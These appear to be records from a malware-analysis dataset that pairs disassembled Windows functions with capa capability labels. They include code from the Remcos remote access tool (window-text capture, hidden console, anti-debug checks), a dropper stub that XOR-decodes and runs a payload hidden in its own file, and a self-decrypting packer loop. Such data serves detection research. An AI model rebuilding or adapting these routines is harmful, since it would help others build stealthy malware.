joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1001856e
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [ebp + 0xc]
push ebx
push esi
xor ebx, ebx
mov dword [ebp - 4], ecx
push edi
mov edi, edx
sub eax, ebx
je 0x10018598
sub eax, 1
jne 0x10018590
push 4
pop eax
mov ecx, eax
jmp 0x100185a0
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 0xc]
jmp 0x100185a0
push 2
mov eax, 0x40000000
pop ecx
push ebx
push 0x80
push ecx
push ebx
push ebx
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x100185be
xor al, al
jmp 0x100185fc
cmp dword [ebp + 0xc], 1
jne 0x100185dd
push 2
push ebx
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
jne 0x100185dd
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x100185ba
push ebx
lea eax, [ebp - 8]
push eax
push edi
push dword [ebp - 4]
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x100185f3
mov bl, 1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, bl
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10018603
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push edi
xor ebx, ebx
mov dword [ebp - 4], edx
push ebx
push 0x80
push 3
push ebx
push 3
push closesocket
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
jne 0x10018631
xor al, al
jmp 0x1001866f
push esi
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ecx, dword [ebp - 4]
mov esi, eax
push ebx
push esi
call fcn.10002472
mov ecx, dword [ebp - 4]
lea eax, [ebp - 8]
push ebx
push eax
push esi
mov dword [ebp - 8], ebx
call fcn.10001fae
push eax
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
pop esi
test eax, eax
je 0x10018666
mov bl, 1
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, bl
pop edi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10018698
Capabilities:
Get file size

Disassembly:
push esi
push edi
xor esi, esi
push esi
push 0x80
push 3
push esi
push 1
push closesocket
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
jne 0x100186be
xor eax, eax
jmp 0x100186d1
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop edi
pop esi
ret
Function at 0x100186d4
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x3c
push ebx
push esi
push edi
mov dword [esp + 0x10], ecx
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov edi, eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextLengthW]
mov esi, eax
xor ebx, ebx
test esi, esi
je 0x100187d1
push ebx
inc esi
lea ecx, [esp + 0x34]
push esi
call fcn.1000a881
push esi
lea ecx, [esp + 0x34]
call fcn.10001f04
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextW]
lea eax, [esp + 0x14]
push eax
lea ecx, [esp + 0x34]
call fcn.10002323
mov edi, eax
lea ecx, [esp + 0x30]
lea eax, [esp + 0x18]
push eax
call fcn.100022e6
mov esi, eax
lea ecx, [esp + 0x30]
lea eax, [esp + 0x1c]
push eax
call fcn.10002323
push dword [edi]
lea ecx, [esp + 0x24]
push dword [esi]
push dword [eax]
call fcn.10008d1d
sub esp, 0xc
mov ecx, esp
push 0x100668f0
call fcn.10004287
sub esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
push eax
call fcn.10007fdb
lea ecx, [esp + 0x54]
call fcn.1001816d
add esp, 0x30
lea ecx, [esp + 0x24]
mov edi, ebx
call fcn.1000220e
test eax, eax
je 0x100187bf
mov esi, ebx
push ebx
push esi
lea ecx, [esp + 0x2c]
call fcn.10001e62
push eax
lea ecx, [esp + 0x38]
call fcn.10008b8e
cmp eax, 0xffffffff
jne 0x100187e2
inc edi
lea ecx, [esp + 0x24]
movzx esi, di
call fcn.1000220e
cmp esi, eax
jb 0x10018794
lea ecx, [esp + 0x24]
call fcn.1000fa30
lea ecx, [esp + 0x30]
call fcn.10001f09
lea ecx, [ebp + 8]
call fcn.10001f09
pop edi
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
mov ebx, dword [esp + 0x10]
test ebx, ebx
je 0x10018804
lea ecx, [esp + 0x30]
call fcn.10001f04
sub ebx, eax
movzx ecx, word [eax]
mov word [ebx + eax], cx
lea eax, [eax + 2]
test cx, cx
jne 0x100187f5
lea ecx, [esp + 0x24]
call fcn.1000fa30
lea ecx, [esp + 0x30]
call fcn.10001f09
mov bl, 1
jmp 0x100187d1
Function at 0x10018b25
Capabilities:
Change the wallpaper

Disassembly:
push ebx
push esi
push edi
mov edi, edx
sub ecx, 0
je 0x10018bd1
sub ecx, 1
je 0x10018bc3
sub ecx, 1
je 0x10018bb5
sub ecx, 1
je 0x10018b82
sub ecx, 1
jne 0x10018c13
push 1
sub esp, 0x18
mov ecx, esp
push 0x10060790
call fcn.1000209d
mov esi, str.Control_PanelDesktop
push str.WallpaperStyle
mov edx, esi
call fcn.10010720
add esp, 0x20
push 1
sub esp, 0x18
mov ecx, esp
push 0x1006078c
jmp 0x10018bff
push 1
sub esp, 0x18
mov ecx, esp
push 0x1006644c
call fcn.1000209d
mov esi, str.Control_PanelDesktop
push str.WallpaperStyle
mov edx, esi
call fcn.10010720
add esp, 0x20
push 1
sub esp, 0x18
mov ecx, esp
push 0x10060790
jmp 0x10018bff
push 1
sub esp, 0x18
mov ecx, esp
push 0x10066874
jmp 0x10018b8e
push 1
sub esp, 0x18
mov ecx, esp
push 0x10060778
jmp 0x10018b8e
push 1
sub esp, 0x18
mov ebx, 0x10060790
mov ecx, esp
push ebx
call fcn.1000209d
mov esi, str.Control_PanelDesktop
push str.WallpaperStyle
mov edx, esi
call fcn.10010720
add esp, 0x20
push 1
sub esp, 0x18
mov ecx, esp
push ebx
call fcn.1000209d
push str.TileWallpaper
mov edx, esi
call fcn.10010720
add esp, 0x20
push 3
push edi
push 0
push 0x14
call dword [sym.imp.USER32.dll_SystemParametersInfoW]
pop edi
pop esi
pop ebx
ret

Function at 0x10018e1d
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc8
push ebx
mov bl, cl
call dword [sym.imp.KERNEL32.dll_AllocConsole]
call dword [0x1006eac4]
test bl, bl
mov dword [0x1006eac8], eax
pop ebx
jne 0x10018e48
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push esi
push edi
push 1
call fcn.1003844f
push eax
push 0x10066b90
push str.CONOUT_
call fcn.1003cb71
push 0xc8
lea eax, [ebp - 0xc8]
push 0
push eax
call fcn.10032c50
lea edi, [ebp - 0xc8]
add esp, 0x1c
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x10018e7e
push 7
pop ecx
mov esi, str.___________________________n
rep movsd dword es:[edi], dword [esi]
lea edi, [ebp - 0xc8]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x10018e97
mov esi, str.__Remcos_v
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
lea edi, [ebp - 0xc8]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x10018eae
mov esi, str.3.8.0_Pro
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea edi, [ebp - 0xc8]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x10018ec6
push 6
pop ecx
mov esi, str._n__BreakingSecurity.net_n
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea edi, [ebp - 0xc8]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x10018ee1
push 7
pop ecx
mov esi, str.___________________________n_n
lea eax, [ebp - 0xc8]
rep movsd dword es:[edi], dword [esi]
push eax
movsb byte es:[edi], byte [esi]
call fcn.1001770e
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x1001e093
Capabilities:
Check for software breakpoints

Disassembly:
push esi
mov esi, dword [ecx + 4]
xor eax, eax
xor edx, edx
movzx ecx, word [esi]
cmp ax, cx
jae 0x1001e0be
movzx eax, dx
mov al, byte [eax + esi + 4]
cmp al, 0x13
je 0x1001e0be
cmp al, 0xc0
je 0x1001e0be
cmp al, 0xcc
je 0x1001e0be
add edx, 2
cmp dx, cx
jb 0x1001e0a3
pop esi
ret

Function at 0x10020af3
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, edx
mov edx, dword [ebp + 0xc]
lea esi, [edi + 4]
push esi
call fcn.10020a8d
mov edx, dword [ebp + 8]
pop ecx
push 4
sub edx, edi
pop ecx
mov al, byte [edx + edi]
mov byte [edi], al
inc edi
sub ecx, 1
jne 0x10020b0f
push 8
pop ecx
mov al, byte [esi + edx]
xor byte [esi], al
inc esi
sub ecx, 1
jne 0x10020b1d
pop edi
pop esi
pop ebp
ret

Function at 0x10022bfa
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
test esi, esi
je 0x10022c14
sub edx, ecx
mov eax, dword [edx + ecx]
xor dword [ecx], eax
lea ecx, [ecx + 4]
sub esi, 1
jne 0x10022c07
pop esi
pop ebp
ret

Function at 0x10022c17
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov eax, ecx
or eax, edx
push esi
mov esi, dword [ebp + 8]
or eax, esi
test al, 3
jne 0x10022c34
shr esi, 2
push esi
call fcn.10022bfa
pop ecx
jmp 0x10022c45
test esi, esi
je 0x10022c45
sub edx, ecx
mov al, byte [edx + ecx]
xor byte [ecx], al
inc ecx
sub esi, 1
jne 0x10022c3a
pop esi
pop ebp
ret

Function at 0x10022c48
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
xor eax, eax
mov esi, edx
mov ebx, ecx
test edi, edi
jle 0x10022c6e
sub ebx, esi
movzx edx, byte [ebx + esi]
movzx ecx, byte [esi]
xor edx, ecx
or eax, edx
inc esi
sub edi, 1
jne 0x10022c5d
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x10022c73
Capabilities:
Encrypt data using aes

Disassembly:
xor eax, eax
mov ecx, 0x10062668
push 0x20
pop edx
and eax, dword [ecx]
add ecx, 0x20
sub edx, 1
jne 0x10022c7d
cmp ecx, str.SHA256wECDSA
jl 0x10022c7a
ret
Function at 0x1002753e
Capabilities:
Encode data using base64

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
lea eax, [edx + 0x3f]
mov dword [ebp - 8], edx
shr eax, 6
mov esi, edx
sub esi, eax
mov ebx, ecx
mov ecx, dword [ebp + 0xc]
push edi
xor edi, edi
and dword [ebp - 0xc], edi
inc esi
imul eax, esi, 3
shr eax, 2
cmp eax, dword [ecx]
jbe 0x10027573
mov eax, 0xffffff53
jmp 0x1002772b
mov esi, dword [ebp + 8]
cmp edx, 3
jbe 0x1002771b
lea eax, [ebp - 0xc]
mov ecx, ebx
push eax
lea edx, [ebp - 8]
call fcn.100274dd
add esp, 4
test eax, eax
jne 0x10027711
mov eax, dword [ebp - 0xc]
mov cl, byte [eax + ebx]
inc eax
mov byte [ebp - 3], cl
mov dword [ebp - 0xc], eax
test cl, cl
je 0x10027718
dec dword [ebp - 8]
lea eax, [ebp - 0xc]
push eax
mov ecx, ebx
call fcn.100274dd
add esp, 4
test eax, eax
jne 0x1002772b
mov eax, dword [ebp - 0xc]
mov cl, byte [eax + ebx]
inc eax
dec dword [ebp - 8]
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0xc]
mov byte [ebp - 2], cl
mov ecx, ebx
push eax
call fcn.100274dd
add esp, 4
test eax, eax
jne 0x1002772b
mov eax, dword [ebp - 0xc]
mov cl, byte [eax + ebx]
inc eax
dec dword [ebp - 8]
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0xc]
mov byte [ebp - 1], cl
mov ecx, ebx
push eax
call fcn.100274dd
add esp, 4
test eax, eax
jne 0x1002772b
mov eax, dword [ebp - 0xc]
mov dl, byte [ebp - 3]
mov dh, byte [eax + ebx]
inc eax
dec dword [ebp - 8]
mov dword [ebp - 0xc], eax
cmp dl, 0x2b
jb 0x1002770a
mov cl, byte [ebp - 2]
cmp cl, 0x2b
jb 0x1002770a
mov al, byte [ebp - 1]
cmp al, 0x2b
jb 0x1002770a
cmp dh, 0x2b
jb 0x1002770a
cmp dl, 0x7a
ja 0x1002770a
cmp cl, 0x7a
ja 0x1002770a
cmp al, 0x7a
ja 0x1002770a
cmp dh, 0x7a
ja 0x1002770a
xor ecx, ecx
cmp al, 0x3d
setne cl
xor eax, eax
inc ecx
cmp dh, 0x3d
setne al
add ecx, edi
add eax, ecx
mov ecx, dword [ebp + 0xc]
cmp eax, dword [ecx]
ja 0x10027569
mov cl, byte [ebp - 2]
movzx eax, dl
mov al, byte [eax + 0x100637ad]
mov byte [ebp - 3], al
movzx eax, cl
mov ch, byte [eax + 0x100637ad]
mov al, byte [ebp - 1]
cmp al, 0x3d
jne 0x100276b0
xor cl, cl
jmp 0x100276b9
movzx eax, al
mov cl, byte [eax + 0x100637ad]
cmp dh, 0x3d
jne 0x100276c2
xor al, al
jmp 0x100276cb
movzx eax, dh
mov al, byte [eax + 0x100637ad]
mov ah, byte [ebp - 3]
mov dl, cl
shl dl, 6
or dl, al
shl ah, 2
mov al, ch
shr al, 4
or al, ah
mov byte [edi + esi], al
inc edi
cmp byte [ebp - 1], 0x3d
je 0x100276f5
shr cl, 2
shl ch, 4
or cl, ch
mov byte [edi + esi], cl
inc edi
cmp dh, 0x3d
je 0x10027718
mov byte [edi + esi], dl
inc edi
cmp dword [ebp - 8], 3
ja 0x1002757f
jmp 0x10027718
mov eax, 0xffffff66
jmp 0x1002772b
cmp eax, 0xffffff7c
jne 0x1002772b
mov ecx, dword [ebp + 0xc]
test esi, esi
je 0x10027727
cmp dword [ecx], edi
jbe 0x10027727
mov byte [edi + esi], 0
mov dword [ecx], edi
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1002ac58
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, ecx
test edi, edi
je 0x1002ad51
cmp dword [ebp + 8], 0
mov esi, dword [ebp + 0xc]
jne 0x1002ac7a
test esi, esi
jne 0x1002ad51
cmp edx, 3
je 0x1002acb0
cmp edx, 4
je 0x1002acb0
cmp edx, 5
je 0x1002acb0
cmp edx, 6
je 0x1002acb0
cmp edx, 7
je 0x1002acb0
cmp edx, 8
je 0x1002acb0
cmp edx, 0xa
je 0x1002acb0
cmp edx, 0xb
je 0x1002acb0
cmp edx, 0xc
je 0x1002acb0
cmp edx, 0xd
jne 0x1002ad51
xor ebx, ebx
mov byte [edi + 0x114], dl
push ecx
mov byte [edi + 0x115], bl
call fcn.1002ac3b
mov dword [ebp - 4], eax
pop ecx
test eax, eax
jne 0x1002ad56
cmp byte [edi + 0x114], 6
lea ecx, [edi + 0x70]
jne 0x1002ad51
cmp esi, 0x40
ja 0x1002acf5
cmp dword [ebp + 8], ebx
je 0x1002ad1c
push esi
push dword [ebp + 8]
push ecx
call fcn.10033250
add esp, 0xc
jmp 0x1002ad19
mov edx, dword [ebp + 8]
mov ecx, edi
push esi
call fcn.1002f899
pop ecx
test eax, eax
jne 0x1002ad56
lea edx, [edi + 0x70]
mov ecx, edi
call fcn.1002f96a
mov dword [ebp - 4], eax
test eax, eax
jne 0x1002ad56
push 0x20
pop esi
lea ecx, [edi + 0x70]
cmp esi, 0x40
jae 0x1002ad34
push 0x40
pop eax
sub eax, esi
push eax
lea eax, [ecx + esi]
push ebx
push eax
call fcn.10032c50
add esp, 0xc
mov al, byte [ebx + edi + 0x70]
xor al, 0x5c
mov byte [edi + ebx + 0xb0], al
xor byte [ebx + edi + 0x70], 0x36
inc ebx
cmp ebx, 0x40
jb 0x1002ad34
mov eax, dword [ebp - 4]
jmp 0x1002ad56
mov eax, 0xffffff53
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1002f1e8
Capabilities:
Hash data using sha256

Disassembly:
mov edx, ecx
test edx, edx
jne 0x1002f19c
mov eax, 0xffffff53
ret
push edi
push 8
xor eax, eax
mov edi, edx
pop ecx
rep stosd dword es:[edi], eax
mov dword [edx], 0x6a09e667
mov dword [edx + 4], 0xbb67ae85
mov dword [edx + 8], 0x3c6ef372
mov dword [edx + 0xc], 0xa54ff53a
mov dword [edx + 0x10], 0x510e527f
mov dword [edx + 0x14], 0x9b05688c
mov dword [edx + 0x18], 0x1f83d9ab
mov dword [edx + 0x1c], 0x5be0cd19
mov dword [edx + 0x60], eax
mov dword [edx + 0x64], eax
mov dword [edx + 0x68], eax
pop edi
ret
test ecx, ecx
jne 0x1002f1f2
mov eax, 0xffffff53
ret
mov dword [ecx + 0x6c], edx
jmp 0x1002f190
Function at 0x1002f8bd
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
test esi, esi
jne 0x1002f8cb
mov eax, 0xffffff53
pop esi
ret
mov eax, dword [esi + 0x60]
push ebx
push edi
lea edi, [esi + 0x20]
mov byte [edi + eax], 0x80
inc dword [esi + 0x60]
mov ecx, dword [esi + 0x60]
push 0x38
pop ebx
cmp ecx, ebx
jbe 0x1002f918
push 0x40
pop eax
sub eax, ecx
push eax
lea eax, [ecx + edi]
push 0
push eax
call fcn.10032c50
push 0x40
pop eax
push eax
mov edx, edi
mov dword [esi + 0x60], eax
mov ecx, edi
call fcn.1002f163
add esp, 0x10
mov edx, edi
mov ecx, esi
call fcn.1002f1fa
test eax, eax
jne 0x1002f966
and dword [esi + 0x60], eax
mov eax, dword [esi + 0x60]
sub ebx, eax
push ebx
add eax, edi
push 0
push eax
call fcn.10032c50
mov ecx, dword [esi + 0x64]
mov edx, edi
mov eax, dword [esi + 0x68]
shr ecx, 0x1d
push 0x40
lea eax, [ecx + eax*8]
mov ecx, edi
mov dword [esi + 0x68], eax
mov eax, dword [esi + 0x64]
shl eax, 3
mov dword [esi + 0x64], eax
call fcn.1002f163
mov eax, dword [esi + 0x68]
add esp, 0x10
mov dword [edi + 0x38], eax
mov edx, edi
mov eax, dword [esi + 0x64]
mov ecx, esi
mov dword [edi + 0x3c], eax
pop edi
pop ebx
pop esi
jmp fcn.1002f1fa
pop edi
pop ebx
pop esi
ret

Function at 0x1002f96a
Capabilities:
Hash data using sha256

Disassembly:
push ebx
mov ebx, ecx
push edi
mov edi, edx
test ebx, ebx
je 0x1002f99f
test edi, edi
je 0x1002f99f
call fcn.1002f8bd
test eax, eax
jne 0x1002f9a4
push esi
push 0x20
mov edx, ebx
mov ecx, ebx
call fcn.1002f163
pop ecx
push 8
pop ecx
mov esi, ebx
rep movsd dword es:[edi], dword [esi]
pop esi
pop edi
mov ecx, ebx
pop ebx
jmp 0x1002f190
mov eax, 0xffffff53
pop edi
pop ebx
ret

Function at 0x1002fa59
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
mov eax, edx
mov esi, ecx
neg eax
mov dword [ebp - 8], esi
mov dword [ebp - 4], eax
test esi, esi
je 0x1002faf6
mov ebx, dword [ebp + 8]
test ebx, ebx
je 0x1002faf6
mov edx, dword [esi]
mov ecx, ebx
inc edx
call fcn.1002b3a6
mov dword [ebp - 0xc], eax
test eax, eax
jne 0x1002fafb
xor edx, edx
push edi
cmp dword [esi], edx
jle 0x1002fabb
mov edi, dword [ebx + 0xc]
mov ecx, esi
call fcn.1002fa43
mov ecx, ebx
mov esi, eax
call fcn.1002fa43
mov ecx, dword [ebp - 4]
xor esi, eax
and esi, ecx
xor dword [edi + edx*4], esi
inc edx
mov esi, dword [ebp - 8]
cmp edx, dword [esi]
jl 0x1002fa94
jmp 0x1002fae1
mov ecx, dword [ebp - 4]
jmp 0x1002fae1
mov edi, dword [ebx + 0xc]
mov ecx, esi
call fcn.1002fa43
mov ecx, ebx
mov esi, eax
call fcn.1002fa43
mov ecx, dword [ebp - 4]
xor esi, eax
and esi, ecx
xor dword [edi + edx*4], esi
inc edx
mov esi, dword [ebp - 8]
cmp edx, dword [ebx]
jl 0x1002fac0
mov eax, dword [ebp - 8]
pop edi
mov eax, dword [eax]
xor eax, dword [ebx]
and eax, ecx
xor dword [ebx], eax
mov eax, dword [ebp - 0xc]
jmp 0x1002fafb
mov eax, 0xffffff53
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10045782
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.10045601

Function at 0x10048a2f
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.1004839d
Function at 0x10048a3a
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.100485d8

Function at 0x401026
Capabilities:
Create process on windows
Delete file
Read file on windows
Set file attributes
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov edx, section..text
push edi
push esi
push ebx
sub esp, 0x574
lea ecx, [esp + 0x64]
cmp edx, entry0
jae 0x40104c
movzx eax, byte [edx]
inc edx
xor al, 0xd9
mov byte [ecx], al
inc ecx
jmp 0x401039
mov byte [ecx], 0
lea esi, [esp + 0x64]
push esi
push 1
push 0
call 0x401220
push 0x104
lea ebx, [esp + 0x468]
push ebx
push 0
call sub.KERNEL32.dll_GetModuleFileNameA
push 0
push 0
push 3
push 0
push 1
push 0x80000000
push ebx
call sub.KERNEL32.dll_CreateFileA
test eax, eax
mov ebx, eax
je 0x401205
cmp eax, 0xffffffff
je 0x401205
push 2
push 0
push 0xffffffffffffff9c
push eax
call sub.KERNEL32.dll_SetFilePointer
push 0
lea ebp, [esp + 4]
push ebp
push 0x64
push esi
push ebx
call sub.KERNEL32.dll_ReadFile
push ebx
call sub.KERNEL32.dll_CloseHandle
lea edx, [esp + 0x65]
lea ecx, [esp + 0xc7]
cmp edx, ecx
jae 0x4010d4
movzx eax, byte [esp + 0x64]
xor byte [edx], al
inc edx
jmp 0x4010c6
lea edx, [esp + 0x14]
lea eax, [esp + 0x58]
cmp edx, eax
jae 0x4010e6
mov byte [edx], 0
inc edx
jmp 0x4010dc
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x18]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [esp + 0x8d]
push eax
call sub.KERNEL32.dll_CreateProcessA
test eax, eax
jne 0x401205
push 0
push 0
push 3
push 0
push 1
push 0x80000000
lea eax, [esp + 0x47c]
push eax
call sub.KERNEL32.dll_CreateFileA
test eax, eax
mov ebx, eax
je 0x401205
cmp eax, 0xffffffff
je 0x401205
push 2
mov eax, 0xffffff9c
push 0
sub eax, dword [esp + 0x6d]
push eax
push ebx
call sub.KERNEL32.dll_SetFilePointer
push 0
push ebp
push dword [esp + 0x6d]
push dword [esp + 0x71]
push 0
call sub.KERNEL32.dll_GetProcessHeap
push eax
call sub.KERNEL32.dll_HeapAlloc
push eax
mov esi, eax
push ebx
call sub.KERNEL32.dll_ReadFile
push ebx
call sub.KERNEL32.dll_CloseHandle
mov eax, esi
mov edx, esi
add eax, dword [esp + 0x65]
cmp esi, eax
jae 0x40119b
movzx eax, byte [esp + 0x64]
xor byte [edx], al
mov eax, esi
inc edx
add eax, dword [esp + 0x65]
cmp edx, eax
jmp 0x401187
push pe_nt_image_headers32
lea edi, [esp + 0x6d]
push edi
call sub.KERNEL32.dll_SetFileAttributesA
push edi
call sub.KERNEL32.dll_DeleteFileA
push 0
push pe_nt_image_headers32
push 2
push 0
push 0
push 0x40000000
push edi
call sub.KERNEL32.dll_CreateFileA
test eax, eax
mov ebx, eax
je 0x401205
cmp eax, 0xffffffff
je 0x401205
push 0
push ebp
push dword [esp + 0x6d]
push esi
push eax
call sub.KERNEL32.dll_WriteFile
push ebx
call sub.KERNEL32.dll_CloseHandle
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x18]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push edi
call sub.KERNEL32.dll_CreateProcessA
push 0
call sub.KERNEL32.dll_ExitProcess
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp dword [sym.imp.KERNEL32.dll_CreateMutexA]
Function at 0x79da0c
Capabilities:
Encode data using xor

Disassembly:
pushal
call 0x79da12
pop ebp
sub ebp, 6
sub ebp, 0x39da0c
jmp 0x79da70
jmp 0x79da79
mov eax, 0x39da0c
add eax, ebp
add eax, 0x93
mov ecx, 0x630
mov edx, 0xc1b36851
xor byte [eax], dl
inc eax
dec ecx
jne 0x79da90
jmp 0x79daa3
cmp edx, dword [ecx]
cmp dword [ecx + 0x41], edx
push ecx
push ecx
cmp dword [ecx - 0x63], edx
jge 0x79db00
shl byte [ecx - 0x4c4c636d], 1
shl byte [ecx - 0x4c4c636d], 1
bound edx, qword [ecx - 0x6a3b51ff]
int1
popal
push ecx
add edx, ebx
pushfd
fcmovu st(0), st(0)
insd dword es:[edi], dx
push ecx
push ecx
push ecx
rcl byte [eax + 0x515151a9]
push edx
pushfd
jmp 0x51cb2c2f
push ecx
push ecx
push ecx
mov eax, 0x51515179
add al, 5
or al, 0xda
aam 0x59
push ecx
push ecx
push ecx
fcmovb st(0), st(4)
pop ebp
push ecx
push ecx
push ecx
fcmovu st(0), st(4)
inc ecx
push ecx
push ecx
push ecx
nop
mov eax, 0xd2536053
xchg ebx, eax
push ebp
sbb byte [esi - 0x2c], bl
movsd dword es:[edi], dword [esi]
scasb al, byte es:[edi]
scasb al, byte es:[edi]
scasb al, byte es:[edi]
or al, 0x93
pop ebp
push ecx
fcmovu st(0), st(5)
jne 0x79db89
push ecx
push ecx
push ecx
cmp ebx, eax
pop ax
push ecx
cmp dword [ebx], ebp
popal
push ecx
push eax
jge 0x79dbb9
add byte [ecx + 0x51515154], bh
mov eax, 0x5151536e
add al, 0xda
mov ebp, 0xae5d24ae
and al, 0x59
mov ecx, 0x51515123
invalid
mov ecx, 0x514bd55e
push ecx
push ecx
shr dword [edx + 0x40d55eb8], 1
push ecx
push ecx
push ecx
aaa
shr byte [edx - 0x2aa18b52], 1
inc esp
push ecx
push ecx
push ecx
adc byte [eax - 0x51515163], bh
js 0x79dbc9
push 0x5490d250
nop
push esp
sar byte [ecx - 0x511347ab], cl
scasb al, byte es:[edi]
scasb al, byte es:[edi]
js 0x79dbc0
push 0x5790d253
sar byte [ebx + 0x54b9d255], cl
mov eax, 0xaeaeaefa
scasb al, byte es:[edi]
scasb al, byte es:[edi]
or al, 0x93
pop ebp
push ecx
add al, 0xda
mov ebp, 0xda040607
and al, 0x5d
fisubr dword [ecx + ebx*2]
lodsd eax, dword [esi]
jecxz 0x79dbaf
fist dword [edi - 0x30]
xchg edi, eax
push eax
push ecx
push ecx
push ecx
fst dword [esi - 0x30]
xchg esi, eax
push eax
push ecx
push ecx
push ecx
ljmp 0x8353